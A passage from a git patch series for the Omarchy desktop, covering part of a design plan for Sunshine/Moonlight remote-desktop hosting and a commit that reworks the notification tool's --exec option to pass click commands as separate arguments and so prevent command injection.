+ idle-inhibit window rule (`default/hypr/apps/moonlight.lua`), and `bin/omarchy-install-service-sunshine` installs the host, opens the Moonlight ports for RFC1918 LANs and `tailscale0` via ufw, and drops a "Sunshine Admin" webapp. `manual/26-gaming.md` even advertises `omarchy install service sunshine`. But what exists is a game-streaming bootstrap, not a remote desktop. The gaps, in the order a user hits them: + +- **Two start paths for one daemon.** The installer runs both `systemctl --user enable --now sunshine` *and* appends `o.launch_on_start("sunshine")` to `~/.config/hypr/autostart.lua`. On every login the systemd user manager starts the unit (upstream ships it `WantedBy=graphical-session.target` with `Restart=on-failure`) while Hyprland's autostart launches a second copy through `uwsm-app`; whichever loses the port-bind race flaps and litters the journal. The autostart line was presumably insurance against the unit lacking `WAYLAND_DISPLAY` — insurance Omarchy doesn't need, because uwsm imports the session environment into the user manager before `graphical-session.target` is reached (it's how every other session unit in `default/systemd/user/` works). +- **Pairing is the weak link.** First contact is a browser pointed at `https://localhost:47990` with `--ignore-certificate-errors`, where you invent a username and password over a self-signed cert, then transcribe a PIN from Moonlight into a web form. That's three UI hops and a certificate warning for what is, protocol-wise, one authenticated POST. +- **Streaming hijacks the physical screen.** Sunshine captures a real monitor, so "remote desktop" today means watching your own desk chair's screen — and means nothing at all when no monitor is attached. There is no virtual display, which is the single feature that separates game streaming from remote desktop. +- **Audio is all-or-nothing.** Sunshine captures the default sink's monitor, so the stream hears whatever the speakers at the desk are playing, and the desk hears everything the remote session does. +- **No menu presence.** Despite the manual advertising it, there is no Sunshine entry anywhere in `default/omarchy/omarchy-menu.jsonc` — not under Install > Service, not under Remove. The feature is invisible unless you already know the command. +- **Install-order coupling with Tailscale.** The ufw rules for `tailscale0` are only added if the interface exists at install time; `omarchy-install-service-tailscale` knows nothing about Sunshine's ports. Install Sunshine first, Tailscale second, and the tailnet — the whole point of remote access — is silently closed. +- **Uninstall is only half-symmetric.** `omarchy-remove-service-sunshine` closes ports and removes the webapp and autostart line, but leaves `~/.config/sunshine/` (pairing state, credentials, apps) behind, and knows nothing about the virtual display or audio plumbing this plan adds. + +## Shape + +One blessed path — Sunshine hosting, Moonlight connecting — finished end to end. "End to end" means: pick Sunshine from the menu, pair from a terminal with a PIN, connect from any Moonlight client on the LAN or tailnet, land on a dedicated remote workspace sized to your client (or deliberately mirror the physical screen), hear the session's audio without broadcasting it at the desk, disconnect without orphaning a single window, and uninstall without leaving a trace. All of it inside the posture the installer already got right: ports open to private networks and the tailnet only, never the internet. + +The work is a rework of the two existing scripts plus a small new `sunshine` command group (precedent: the `tailscale` group), a managed slice of Sunshine's configuration, menu entries, a migration for existing installs, tests, and a manual section. No new daemons, no new packages beyond what's already in the omarchy repo. + +## Rejected approaches + +- **wayvnc, or an xrdp/VNC-RDP chain**: wayvnc (0.10.1 in extra) does capture Hyprland via wlr-screencopy, but VNC is unencrypted-by-default, software-encoded, and pointer-laggy; chaining xrdp on top adds a protocol translation layer that breaks whenever Hyprland's wlroots divergence shifts under it. No hardware encode means it loses to Sunshine on every axis Omarchy cares about (latency, battery, fidelity), and we'd still have to solve pairing, virtual displays, and audio ourselves. +- **RustDesk**: packaged (1.4.9 in the omarchy repo) and tempting for its built-in relay story, but Hyprland hosts still fail in practice — it wants the `org.freedesktop.portal.RemoteDesktop` portal, which `xdg-desktop-portal-hyprland` does not implement (hyprwm/xdg-desktop-portal-hyprland#252, still open; rustdesk/rustdesk#9026 documents the Hyprland-specific failure). Blessing a host that can't host on our own compositor is not a v1. +- **Waiting for the RemoteDesktop portal**: same issue. Sunshine sidesteps the portal entirely — capture via wlr-screencopy, input via uinput (the package ships the udev rule) — which is exactly why it's the one stack that works on Hyprland today. The plan builds on that, and can revisit portal-based options if #252 ever lands. +- **waypipe**: forwards individual Wayland apps, not a desktop; a different product. +- **Building a Fluid-equivalent from scratch**: a bespoke streaming stack is a multi-year protocol, codec, and client-matrix project. Omarchy's leverage is integration taste, not reinventing NVENC negotiation. Sunshine/Moonlight is mature, hardware-accelerated, cross-platform on the client side, and already half-wired into the repo. +- **A logged-out remote login mode** (what gnome-remote-desktop grew): Sunshine attaches to a running session, and Hyprland has no system-daemon mode to attach to. Omarchy's SDDM autologin means a booted machine has a session anyway; the honest constraint is full-disk encryption's passphrase prompt, covered under open questions rather than papered over. + +## Design + +### One daemon, one start path + +The systemd user unit wins. It has restart-on-failure, journal logging, a clean `is-active` answer for guards and status, and — because uwsm imports `WAYLAND_DISPLAY` and friends into the user manager — a complete graphical environment by the time `graphical-session.target` pulls it in. The installer keeps `systemctl --user enable --now sunshine` and stops touching `autostart.lua`; a migration (epoch-named under `migrations/`) deletes the `o.launch_on_start("sunshine")` line from existing users' `~/.config/hypr/autostart.lua` so the double start dies everywhere, not just on fresh installs. The remove script keeps its `sed` cleanup for one release as belt-and-braces, then that too can go. + +### Capture backend: wlr-screencopy, declared explicitly + +Omarchy writes `capture = wlr` into its managed section of `~/.config/sunshine/sunshine.conf` instead of letting Sunshine probe. Two reasons, both structural: + +- KMS capture reads real DRM CRTCs, so it needs `CAP_SYS_ADMIN` on the binary *and* it fundamentally cannot see a virtual output — a headless Hyprland output has no CRTC. Sunshine used to crash on headless connectors outright (LizardByte/Sunshine#2955, fixed by skipping them), but "skipped" still means "not capturable". Since the virtual display is the centerpiece of this plan, KMS is disqualified regardless of its marginal latency edge. +- wlr-screencopy is the interface Hyprland actually maintains (`hyprland.portal` declares ScreenCast/Screenshot/GlobalShortcuts/InputCapture — capture is first-class), captures any output including headless ones, needs no capability bits, and feeds VAAPI/NVENC the same dmabufs. + +Input needs no decision: Sunshine injects through uinput with the udev rule its package installs, below the compositor, so the missing RemoteDesktop portal is irrelevant on the host side. + +### Command surface + +The lifecycle pair stays where it is: `omarchy-install-service-sunshine` and `omarchy-remove-service-sunshine` are the Install > Service idiom (1Password, Dropbox, Tailscale all live there), the manual already names the route, and renaming to `setup-` would break it for no gain — `setup-` in this repo means an interactive wizard you re-run (`omarchy-setup-security-sshd`), while install/remove is a one-shot lifecycle, which is what this is. What grows is a `sunshine` group in `GROUP_DESCRIPTIONS` (`GROUP_DESCRIPTIONS[sunshine]="Sunshine remote desktop hosting"`), exactly as `tailscale` earned its group once it had verbs beyond install: + +- `omarchy-sunshine-pair` — the terminal pairing flow (below). +- `omarchy-sunshine-clients` — list paired clients, unpair one or all (gum choose over `/api/clients/list` and `/api/clients/unpair`). +- `omarchy-sunshine-mode` — `dedicated | mirror | --status`, the display-mode switch (below), with `--status` for menu `checked` guards in the nightlight tradition. +- `omarchy-sunshine-display` — `# omarchy:hidden=true`; the prep-cmd do/undo hook Sunshine calls, never users. +- `omarchy-installed-service-sunshine` — hidden predicate in the `installed` group, mirroring `omarchy-installed-service-tailscale`: package present and unit active. + +All carry `# omarchy:summary=` metadata per `agents/skills/command-metadata.md`, and `omarchy commands --check` keeps them honest. + +### Pairing: a PIN in a terminal, not a certificate warning in a browser + +Sunshine's web admin exists because most distros give it nothing better. Omarchy can do better with two facts: credentials can be set non-interactively (`sunshine --creds `), and pairing is one authenticated call (`POST /api/pin` with `{"pin": ..., "name": ...}`, basic auth). + +- **At install**, before the unit ever starts, the installer generates a random password, runs `sunshine --creds omarchy `, and stores it 0600 under `~/.local/state/omarchy/sunshine/credentials`. The user never invents web credentials; the first-run browser ceremony is gone. The managed config also sets `origin_web_ui_allowed = pc` explicitly so :47990 answers localhost only — the ufw rules already exclude it (only 47984/47989/48010 TCP and the stream UDP range are opened), and now Sunshine itself agrees. +- **`omarchy-sunshine-pair`** is bash + gum: prompt for the PIN Moonlight is displaying and a client name, `curl -sk -u "omarchy:$(` gives Hyprland a real output with no glass attached; wlr-screencopy captures it like any other. Wired into Sunshine's per-app prep-cmd do/undo pair, it turns the stream into a workspace of its own. + +Omarchy manages `~/.config/sunshine/apps.json` with two entries, which are also the mode story: + +- **"Remote Desktop"** (the default `omarchy-sunshine-mode dedicated` target): `prep-cmd` do runs `omarchy-sunshine-display up`, undo runs `omarchy-sunshine-display down`. No detached command — the "app" is the desktop itself, so the session lives exactly as long as the client is connected. +- **"This Screen"** (`mirror`): no prep-cmd; Sunshine captures the focused physical monitor. For showing your desk screen to a conference room, or driving a machine you're also sitting at. + +`omarchy-sunshine-display up` does, in order: + +1. `hyprctl output create headless sunshine` — a fixed, predictable name (custom names are supported; without one Hyprland invents HEADLESS-2, -3, … per session, which no config can target). +2. Size it to the client: Sunshine exports `SUNSHINE_CLIENT_WIDTH`, `SUNSHINE_CLIENT_HEIGHT`, and `SUNSHINE_CLIENT_FPS` into prep-cmds (verified against upstream docs — the names in this plan are exact), so `hyprctl keyword monitor "sunshine,${SUNSHINE_CLIENT_WIDTH}x${SUNSHINE_CLIENT_HEIGHT}@${SUNSHINE_CLIENT_FPS},auto,1"` gives the phone a phone-shaped desktop and the MacBook a Retina-shaped one. A runtime `hyprctl keyword`, not a `monitors.lua` edit — this output is ephemeral and must never leak into the user's declared monitor config, and Omarchy's default `hl.monitor({ output = "" ... })` catch-all would otherwise claim it with the wrong scale. +3. Move an empty workspace there and focus it — the next-free workspace number, recorded in `~/.local/state/omarchy/sunshine/` alongside the output name, so `down` knows exactly what it created. The stream opens on a clean desk; the physical monitors keep their workspaces and their user. + +`omarchy-sunshine-display down` (the undo, which Sunshine also runs when the client disconnects uncleanly) reverses it with care for Hyprland's output-removal behavior: when an output disappears, Hyprland evacuates its workspaces onto a surviving monitor — that is the safety net, not the plan. Before `hyprctl output remove sunshine`, `down` moves any windows the remote session opened onto the recorded workspace *number* (which survives the output), so nothing lands scattered across whatever monitor Hyprland picks, and then removes the output. If *no* physical monitor exists — the truly headless box — `down` still removes the output; the workspaces sit in limbo until the next `up` recreates a home for them, which is exactly what happens on the next connection. `up` is also self-healing: a leftover `sunshine` output from a crashed session is removed and recreated rather than trusted. + +Two honest caveats, stated here so the rollout verifies them instead of discovering them: Sunshine selects which output to capture via `output_name`, whose wlr-backend matching semantics (numeric enumeration id vs. name string) must be pinned down on the shipped 2026.516 build — the design wants "capture the output named `sunshine` when it exists, the focused physical monitor otherwise," and if `output_name` can't express that per-app, the fallback is `omarchy-sunshine-mode` rewriting the global `output_name` and restarting the unit on mode switch, which is coarser but deterministic. And the headless-with-FDE case (passphrase prompt before SDDM autologin) is a real limit on "connect to a machine nobody is sitting at"; it goes to open questions, not under the rug. + +### Audio + +Mirror mode changes nothing: Sunshine captures the default sink's monitor and both ends hear the same thing, which is what mirroring means. + +Dedicated mode gets a private sink. `omarchy-sunshine-display up` loads a null sink through PipeWire's pulse layer (`pactl load-module module-null-sink sink_name=sunshine-audio ...`, module id recorded in state), and the managed config sets `virtual_sink = sunshine-audio` so Sunshine switches the default sink to it for the duration of the stream and restores the previous default afterward; `down` unloads the module. The consequence is deliberate and worth stating plainly: during a dedicated-mode stream, the machine's audio belongs to the remote session — apps play into the virtual sink, the stream carries it, and the desk's speakers are silent. On a single-user machine that is the correct reading of "not stealing local audio": the person who is actually using the machine is the one holding the Moonlight client. The alternative — splitting audio per-application between two concurrent users of one seat — is a multi-seat feature PipeWire can theoretically express and no one would maintain. + +### Security + +The existing posture is the good part and stays: TCP 47984/47989/48010 and UDP 5353/47998–48010 opened only to 10/8, 172.16/12, 192.168/16 and `tailscale0`, tagged `omarchy-sunshine`, torn down by comment on removal. On top of that: + +- The install-order coupling gets fixed by extraction: the Sunshine ufw rules move into an idempotent internal helper the install script calls, and `omarchy-install-service-tailscale` finishes by re-running it when Sunshine is installed (and vice versa — Sunshine's installer already handles the Tailscale-first order). Whichever service arrives second, the tailnet rules exist. +- `origin_web_ui_allowed = pc` and no ufw rule for 47990, ever: the admin surface is loopback-only by two independent mechanisms. +- `upnp = off` written explicitly in the managed config. Sunshine links miniupnpc; a remote desktop host must never ask the router to open the internet at it, and the manual says in one sentence why the answer for roaming access is Tailscale, not port forwarding. +- Credentials at `~/.local/state/omarchy/sunshine/credentials`, 0600, passed to curl via config-file/stdin rather than argv where it would show in `ps`. +- The pairing trust model is Sunshine's own client-certificate pinning established during the PIN exchange; Omarchy adds no cert of its own and removes the one place users were trained to click through a certificate warning. + +### Managed configuration, user configuration + +Sunshine's config is the user's, like everything in `~/.config`. Omarchy owns a delimited block in `sunshine.conf` (`capture`, `output_name`, `virtual_sink`, `origin_web_ui_allowed`, `upnp`) written idempotently by the installer and `omarchy-sunshine-mode`, and owns the two shipped entries in `apps.json` by name — regenerated on install, left alone otherwise, so a user who adds a Steam Big Picture entry in the admin UI keeps it. The remove script deletes only what Omarchy wrote, then offers (gum confirm) to purge `~/.config/sunshine/` entirely — pairing state included — since "remove the service" usually means "this machine stops being a host," but must not silently destroy pairings someone means to keep across a reinstall. + +### Menu + +Per `docs/menu.md` conventions, no `aliases` on any new entry: + +- `install.service.sunshine` — `{"icon": ..., "label": "Sunshine", "disabled": "omarchy-pkg-present sunshine", "action": "omarchy-launch-floating-terminal-with-presentation omarchy-install-service-sunshine"}` — the catalog row that should always have existed, dimmed-with-✓ once installed like every Install row. +- `remove.service.sunshine` — the mirror image, `when: omarchy-pkg-present sunshine`, hiding what isn't there to remove. +- `setup.sunshine` — a submenu that only exists when installed (`when: omarchy-pkg-present sunshine`): **Pair Client** (floating terminal → `omarchy-sunshine-pair`), **Clients** (→ `omarchy-sunshine-clients`), **Dedicated Display** / **This Screen** rows with `checked` guards reading `omarchy-sunshine-mode --status` (registered in `GUARD_READERS` since two rows read it, as `menu-guards-test.sh` enforces), and **Admin** (the webapp, demoted from installer-auto-open to a menu row). + +### Client side, and the scope line + +Moonlight is preinstalled, has its window rule, and appears in the launcher; pairing *to* an Omarchy host is this plan's terminal flow plus a PIN. A connection helper (`moonlight-qt stream "Remote Desktop"` wrapped in a picker) is cheap but premature — Moonlight's own grid UI already remembers hosts, and wrapping it before anyone asks is the kind of chrome the dots plan warns about. The manual documents the CLI one-liner for keybinding enthusiasts and stops there. + +Reaching a **Mac or Windows** box *from* Omarchy is a real adjacent gap and explicitly not this plan. It is a different protocol stack (FreeRDP/Remmina toward Windows, nothing good toward macOS but VNC), a different trust model, and a different design center (client-only, no host work). Stapling it on here would dilute both; if demand shows up it's `plans/rdp.md`, and this plan's manual section links Remmina by name so the answer today is at least discoverable. RustDesk stays uninstalled by default for the host-side reasons above. + +### Uninstall symmetry + +`omarchy-remove-service-sunshine`, reworked to undo everything this plan creates: stop and disable the unit; run `omarchy-sunshine-display down` if state shows a live session (output removed, null sink unloaded, workspace evacuated); close the tagged ufw rules; remove the webapp; strip the legacy autostart line; delete `~/.local/state/omarchy/sunshine/`; offer the `~/.config/sunshine/` purge; drop the package. The menu needs no teardown — every entry is guarded on package presence and disappears on its own. A re-install after a remove-without-purge comes back paired, which is the correct reading of the two-step teardown. + +## Rollout + +- **Phase 1 — make what exists correct**: single start path + migration removing the autostart line; credentials at install; `origin_web_ui_allowed`/`upnp`/`capture` in the managed config; terminal pairing (`omarchy-sunshine-pair`, `omarchy-sunshine-clients`); the missing Install/Remove menu rows; ufw helper extraction and the Tailscale cross-call. Shippable alone and already a better product. +- **Phase 2 — the remote desktop**: `omarchy-sunshine-display` do/undo, managed `apps.json`, `omarchy-sunshine-mode`, the audio sink, the `setup.sunshine` menu. Gated on the two verification checkpoints from the design: `output_name` semantics against the shipped build, and disconnect/reconnect behavior under monitor add/remove churn on real hardware. +- **Phase 3 — polish**: `omarchy-sunshine-clients` unpair flows, docs, acceptance coverage. +- **Tests**: shell tests in `test/shell.d/sunshine-test.sh` for the pure logic — managed-config block idempotency, apps.json generation preserving user entries, ufw argument construction, state-file round-trips for `display up`/`down`, mode `--status` output; CLI metadata via `omarchy commands --check`; menu guard wiring via the existing `menu-test.sh`/`menu-guards-test.sh` conventions. Graphical acceptance per `agents/skills/acceptance-tests.md` in the ISO VM: install from the menu, unit active, ports open, `display up` creates and sizes the output and `down` leaves no orphaned windows (screenshot each state), remove leaves no unit/rules/state behind. Actual stream negotiation needs a Moonlight client and stays a manual checklist item in the PR, honestly labeled. +- **Docs**: a new `manual/52-remote-desktop.md` — hosting setup, pairing, the two modes, Tailscale-for-roaming, the FDE/headless caveat, and the Remmina pointer for the Windows-target gap; `manual/26-gaming.md` trims to game streaming and links over; `docs/` gets a short reference on the managed-config block and state files so future migrations know what Omarchy owns. + +## Open questions + +1. **`output_name` semantics on the wlr backend** — id or name, and when Sunshine enumerates outputs relative to prep-cmd execution. The design assumes per-session resolution after `up` runs; if the shipped build disagrees, mode switching falls back to config-rewrite-plus-restart. Phase 2 gates on the answer. +2. **Clipboard sync** — upstream has said no: text-only clipboard sync was proposed and closed as not planned (LizardByte/Sunshine#5384), and Moonlight has no transport for it. An Omarchy-side bridge (wl-clipboard over Tailscale between two Omarchy machines) is buildable but is a new sync daemon with a security surface, helps no Mac/Windows/phone client, and smells like scope creep. Leaning: explicit non-goal in v1, revisit only as its own plan. +3. **Headless boot under full-disk encryption** — the LUKS passphrase blocks the session a monitor-less host needs. TPM auto-unlock or remote unlock is its own security design. Document the limit in v1, or fold a TPM story in? +4. **Does the Sunshine Admin webapp survive** once pairing, clients, and modes have first-party surfaces — expert hatch, or the browser habit this plan exists to end? +5. **Mirror-mode geometry** — when client and physical resolutions disagree, let Moonlight scale (default) or mode-switch the physical monitor to match via the same prep-cmd env vars? Scaling is unobtrusive; mode-switching is what the game-streaming crowd expects. +6. **A bar presence** — dropbox/tailscale-style plugin showing "streaming now" with a disconnect action? Genuinely useful the moment someone streams *from* a machine they also sit at, but plugin work is its own discipline; leaning v2. +7. **A "Log out remote session" guard** — should `down` also close the windows the remote session opened instead of re-homing them, as a privacy stance for shared-desk machines? Leaning no: never destroy user windows automatically. From bf2013e6f3470a78324f5b2d68a9de4f655993ca Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 14:26:25 -0400 Subject: [PATCH 021/336] Make --exec take the command as rest-of-line words MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace --exec-arg with an ergonomic --exec that consumes the rest of the line as the click command. The caller's shell tokenizes the words into discrete arguments before the tool sees them, and the shell runs them as positional parameters (never a re-parsed string), so safety is identical to the argv form while the call sites read naturally: `--exec omarchy toggle something`. Crucially the tool never splits a string itself — a single quoted whole-command argument is rejected and points at the unquoted form, because whitespace- splitting a string hands argument boundaries to whoever controls its content (the injection we are avoiding). --exec must come last; migrate every caller. --- bin/omarchy-capture-screenrecording | 2 +- bin/omarchy-capture-screenshot | 2 +- bin/omarchy-chromium-ytdlp-host | 8 +-- bin/omarchy-crash-watch | 9 +-- bin/omarchy-migrate-notify | 2 +- bin/omarchy-notification-send | 58 +++++++++------ bin/omarchy-tailscale-receive | 2 +- docs/notifications.md | 61 +++++++++------- install/user/first-run/install-voxtype.hook | 2 +- install/user/first-run/setup-agent.hook | 2 +- install/user/first-run/setup-fingerprint.hook | 2 +- install/user/first-run/welcome.sh | 2 +- install/user/first-run/wifi.sh | 4 +- .../notifications/NotificationLogic.js | 2 +- test/shell.d/agent-invitation-test.sh | 2 +- test/shell.d/chromium-ytdlp-test.sh | 16 ++--- test/shell.d/fingerprint-invitation-test.sh | 2 +- test/shell.d/migrate-notify-test.sh | 2 +- test/shell.d/notification-send-test.sh | 71 +++++++++++-------- test/shell.d/tailscale-receive-test.sh | 8 +-- test/shell.d/voxtype-invitation-test.sh | 2 +- 21 files changed, 148 insertions(+), 113 deletions(-) diff --git a/bin/omarchy-capture-screenrecording b/bin/omarchy-capture-screenrecording index 314363c0..d57b26fe 100755 --- a/bin/omarchy-capture-screenrecording +++ b/bin/omarchy-capture-screenrecording @@ -228,7 +228,7 @@ stop_screenrecording() { omarchy-notification-send "Screen recording saved" "Open with Super + Alt + , (or click this)" \ -t 10000 --image "${preview:-$filename}" \ - --exec-arg mpv --exec-arg -- --exec-arg "$filename" + --exec mpv -- "$filename" # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load -- not the diff --git a/bin/omarchy-capture-screenshot b/bin/omarchy-capture-screenshot index 9dfd56a2..6f7b91bf 100755 --- a/bin/omarchy-capture-screenshot +++ b/bin/omarchy-capture-screenshot @@ -70,7 +70,7 @@ case "$PROCESSING" in # notification outage must not report the capture itself as failed. omarchy-notification-send "Screenshot saved to clipboard and file" "Edit with Super + Alt + , (or click this)" \ --image "$FILEPATH" \ - --exec-arg "$SCREENSHOT_EDITOR" --exec-arg "$FILEPATH" || true + --exec "$SCREENSHOT_EDITOR" "$FILEPATH" || true ;; copy) grim -g "$SELECTION" - | wl-copy --type image/png diff --git a/bin/omarchy-chromium-ytdlp-host b/bin/omarchy-chromium-ytdlp-host index 9e4a19aa..3911451a 100755 --- a/bin/omarchy-chromium-ytdlp-host +++ b/bin/omarchy-chromium-ytdlp-host @@ -70,10 +70,6 @@ title_from_file() { fi } -# Click action as argv (--exec-arg): the path is one literal argument, and `--` -# keeps mpv from parsing a leading-dash filename as an option. -playback_exec_args=(--exec-arg mpv --exec-arg -- --exec-arg) - # Drive the Quickshell OSD — a single overlay that updates in place (like the # volume/brightness bar), so download progress never stacks like notifications. osd_progress() { @@ -150,9 +146,11 @@ download_url() { # Best-effort: the download already succeeded, and under `set -e` a failed # toast would exit before the thumbnail cleanup below is ever scheduled. + # `--` keeps mpv from parsing a leading-dash filename as an option; the path + # is one discrete argument, so it never reaches a shell. omarchy-notification-send -g 󰄬 "Download complete" "$title" \ -t 10000 --image "${preview:-$filepath}" \ - "${playback_exec_args[@]}" "$filepath" || true + --exec mpv -- "$filepath" || true # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load, not the diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index 582564a0..ee1ed82d 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -32,16 +32,17 @@ announce() { # likely to be delivered is the one most worth reporting. omarchy-notification-wait || return 1 - # --exec-arg rather than a libnotify action: the shell runs clicks from its own + # --exec rather than a libnotify action: the shell runs clicks from its own # hint and never emits ActionInvoked. Keeps the default "omarchy-action" app # name, the only one shouldBypassDnd() lets through. Crash details ride as - # literal argv, so a hostile process name can't be reparsed as a command. + # discrete argv words, so a hostile process name can't be reparsed as a + # command. --exec consumes the rest of the line, so it comes last. omarchy-notification-send \ --urgency critical \ --glyph "$CRASH_GLYPH" \ - --exec-arg omarchy-agent-crash --exec-arg "$pid" --exec-arg "$comm" --exec-arg "$exe" --exec-arg "$signal" \ "Process crashed: $comm" \ - "Click to diagnose with AI" + "Click to diagnose with AI" \ + --exec omarchy-agent-crash "$pid" "$comm" "$exe" "$signal" } # -n 0 so a restart does not re-announce crashes already dealt with. diff --git a/bin/omarchy-migrate-notify b/bin/omarchy-migrate-notify index 99215979..00cce3d6 100755 --- a/bin/omarchy-migrate-notify +++ b/bin/omarchy-migrate-notify @@ -41,7 +41,7 @@ fi # The shell keeps the click command with the toast, so this oneshot can hand the # invitation over and exit instead of staying activated until it is answered. omarchy-notification-send -u critical -g  "Pending Omarchy Migrations" "$message" \ - --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-migrate && exit 0 + --exec omarchy-launch-floating-terminal-with-presentation omarchy-migrate && exit 0 # Reached when the notification could not be handed off, so fall back to telling # the user in the terminal. diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index d3b3977f..613f34d7 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--exec-arg ]... [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] +# omarchy:args=[--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] [--exec [args...]] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -13,9 +13,29 @@ urgency="low" app_name="omarchy-action" image= exec_args=() +exec_present=0 args=() parsed_option_args=0 +# Split off the click command first: everything after --exec is its argv. The +# caller's shell has already tokenized those words into discrete arguments, and +# the shell runs them as-is (never re-parsed by a shell), so a value carrying +# untrusted data — a title, a filename — is only ever one argument and can never +# become a command. --exec therefore consumes the rest of the line and must +# come last. +pre_args=() +while (($# > 0)); do + if [[ $1 == "--exec" ]]; then + shift + exec_args=("$@") + exec_present=1 + break + fi + pre_args+=("$1") + shift +done +set -- "${pre_args[@]}" + parse_omarchy_option() { case $1 in -g | --glyph) @@ -54,22 +74,6 @@ parse_omarchy_option() { parsed_option_args=2 return 0 ;; - --exec) - # Removed: a free-form shell string is safe only if the caller quotes every - # value, and its existence invites the next caller to skip that. Use --exec-arg. - echo "--exec is no longer supported: pass each argument with --exec-arg (e.g. --exec-arg mpv --exec-arg -- --exec-arg \"\$file\")" >&2 - exit 1 - ;; - --exec-arg) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi - # One literal argument of the click command, taken verbatim (even a "-value"). - exec_args+=("$2") - parsed_option_args=2 - return 0 - ;; esac return 1 @@ -84,7 +88,7 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--exec-arg ]... [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" + echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] [--exec [args...]]" exit 1 fi @@ -118,9 +122,21 @@ fi # The click command travels with the popup as an argv hint the shell runs # itself, so restored toasts stay clickable and senders don't block on a -# libnotify action (which dies when the shell restarts). --exec-arg is the only -# form: no free-form shell string to interpolate into unsafely. -if ((${#exec_args[@]} > 0)); then +# libnotify action (which dies when the shell restarts). +if ((exec_present)); then + if ((${#exec_args[@]} == 0)); then + echo "--exec needs a command: --exec [args...]" >&2 + exit 1 + fi + # A single word with a space is almost always a whole command passed as one + # quoted string — which would run a program literally named that. Splitting it + # ourselves is exactly the injection we avoid, so reject it and point at the + # unquoted form instead. + if ((${#exec_args[@]} == 1)) && [[ ${exec_args[0]} == *[[:space:]]* ]]; then + echo "--exec takes the command as separate words, not one quoted string." >&2 + echo "Write: --exec ${exec_args[0]}" >&2 + exit 1 + fi # NUL-delimit into jq so every byte survives as data: jq's own --args would eat # a bare "--", and a newline in an arg must not split the vector. exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') diff --git a/bin/omarchy-tailscale-receive b/bin/omarchy-tailscale-receive index a2ff3809..844b8f73 100755 --- a/bin/omarchy-tailscale-receive +++ b/bin/omarchy-tailscale-receive @@ -72,7 +72,7 @@ announce() { # Announcing is best-effort: the file is already delivered, and under `set -e` # a notification outage would otherwise kill the long-running receiver. - omarchy-notification-send "${args[@]}" --exec-arg xdg-open --exec-arg "$path" || true + omarchy-notification-send "${args[@]}" --exec xdg-open "$path" || true } deliver() { diff --git a/docs/notifications.md b/docs/notifications.md index ee06d509..b1c8b96d 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -69,7 +69,7 @@ notify-send arguments and passes any unrecognized options through: | Flag | Becomes | Meaning | |---|---|---| | `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec-arg` (repeatable) | `--hint=string:omarchy-exec-argv:` | one literal argument of the click command; the collected args become a JSON argv (see below). This is the only click-command mechanism | +| `--exec [args…]` | `--hint=string:omarchy-exec-argv:` | the click command; consumes the rest of the line, so it comes last. Each word is a discrete argument the shell runs without re-parsing (see below) | | `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | | `--app-name` | `-a` | defaults to `omarchy-action` | | `-u` / `--urgency` | `-u` | defaults to `low` | @@ -92,29 +92,40 @@ an action and just expect click-to-jump. ### Click commands are argv, never shell strings -A click command is built from discrete `--exec-arg` arguments. Each `--exec-arg` -contributes one literal argument; the shell runs the resulting vector through -`Util.execArgv`, which invokes `bash -lc 'exec "$@"'` with the arguments as -**positional parameters** — never interpolated into the script text. bash -expands `"$@"` without re-tokenizing or re-evaluating it, so a value carrying -data an attacker controls — a downloaded video's title, a received filename, a -crashed process's name — is only ever a single argument and can never be -reparsed as a command. The login shell keeps the PATH and session environment -that GUI click targets (the screenshot editor, mpv, xdg-open) expect. This is -the parameterized form: pass untrusted data as its own `--exec-arg`. +`--exec` consumes the rest of the line as the click command: -There is deliberately **no** free-form shell-string variant. An earlier `--exec` -flag took a whole command as one string run through `bash -lc`; it was safe only -when the caller shell-quoted every interpolated value perfectly — the same trap -as string-concatenated SQL, and the exact shape of the yt-dlp title RCE. Even -kept "for compatibility" it was a standing invitation for the next caller to -skip the quoting and reintroduce the hole, so it was removed outright: -`omarchy-notification-send --exec` now errors and points at `--exec-arg`. The -shell fails closed on a malformed argv hint (it must be a JSON array of strings -whose program is present and not a leading-dash option) rather than running -anything it can't validate. A caller can still deliberately name a shell as the -program (`--exec-arg sh --exec-arg -c …`), but that is an obvious, reviewable -red flag rather than the default shape. +```bash +omarchy-notification-send "Download complete" "$title" --exec mpv -- "$file" +``` + +The caller's shell has already split those words into discrete arguments, and a +quoted argument (`"$file"`) stays one argument even with spaces. On the shell +side they are run through `Util.execArgv`, which invokes `bash -lc 'exec "$@"'` +with the arguments as **positional parameters** — never interpolated into the +script text. bash expands `"$@"` without re-tokenizing or re-evaluating it, so a +value carrying data an attacker controls — a downloaded video's title, a +received filename, a crashed process's name — is only ever a single argument and +can never be reparsed as a command. The login shell keeps the PATH and session +environment that GUI click targets (the screenshot editor, mpv, xdg-open) expect. + +The critical rule: **the splitting must happen at the call site, not inside the +tool.** Passing a single quoted string (`--exec "mpv $title"`) and letting the +tool whitespace-split it would hand argument boundaries to whoever controls the +string's content — a title with a space could inject an extra option or program. +So `--exec` refuses a lone quoted-string argument and points at the unquoted +form. There is no "take a command string and sanitize it" path; that is the +escaping 